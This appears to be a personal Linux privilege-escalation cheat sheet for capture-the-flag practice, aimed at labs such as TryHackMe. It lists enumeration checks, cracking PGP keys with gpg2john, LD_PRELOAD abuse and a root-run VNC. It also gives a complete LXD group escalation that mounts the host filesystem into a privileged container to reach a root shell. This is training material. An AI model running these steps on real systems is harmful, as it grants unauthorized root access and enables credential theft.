Linux
I LOVE DOING THIS :)
Check for the sudo permissions for that current user using
sudo -l
Check the
/etc/os-release*
and the groups which the user belongs to using theid
command - Also do check theenv
File Owners and Permissions
Cron Jobs
Internally running ports
Interesting directories to check using the ls -la
command
ls -la
commandSUID Binaries - GTFObins
LXD Privilege Escalation
When you know your a part of the lxd groups, then !
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
bash build-alpine
lxc image import ./alpine-v3.10-x86_64-20191008_1227.tar.gz --alias myimage
lxc image list
lxc init myimage ignite -c security.privileged=true
It now initializes a new Linux container named "ignite" using the image "myimage", with the security configuration option "security.privileged" set to "true"
This means the container will have elevated privileges, allowing it to access resources that would otherwise be restricted
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
And then adds a new device called "mydevice" to the Linux container named "ignite"
The device is a disk type with a source of "/" (root directory of the host file system) and a path of "/mnt/root" in the container's file system
The "recursive=true" option means that the device will be added recursively, including all subdirectories
lxc start ignite
lxc exec ignite /bin/sh - We get R00t :)
Found a .git directory ?
Dump the commit history
Check the logs for any passwords
Refer Githappens THM Box :)
Pretty Good Privacy (PGP) ?
Found any credentials or any file which has the extension .pgp
If it fails then look for another .asc file and import it using the gpg command
Confirms that the password is stored in the .asc file
Crack it using gpg2john, import it again and decrypt it with the correct passphrase
LD Preload
Important => Unset the env variable "LD_PRELOAD", or it'll execute in an endless loop
VNC process being run as ROOT
VNC is a remote access software just like TeamViewer or AnyDesk - The -rfbport
flag tells us that it’s listening on port 5901 on localhost - We can verify that using the netstat
command
After some port forwarding !
When setting a VNC password, the password is obfuscated and saved as a file on the server. Instead of directly entering the password, the obfuscated password file can be included using the passwd option
Last updated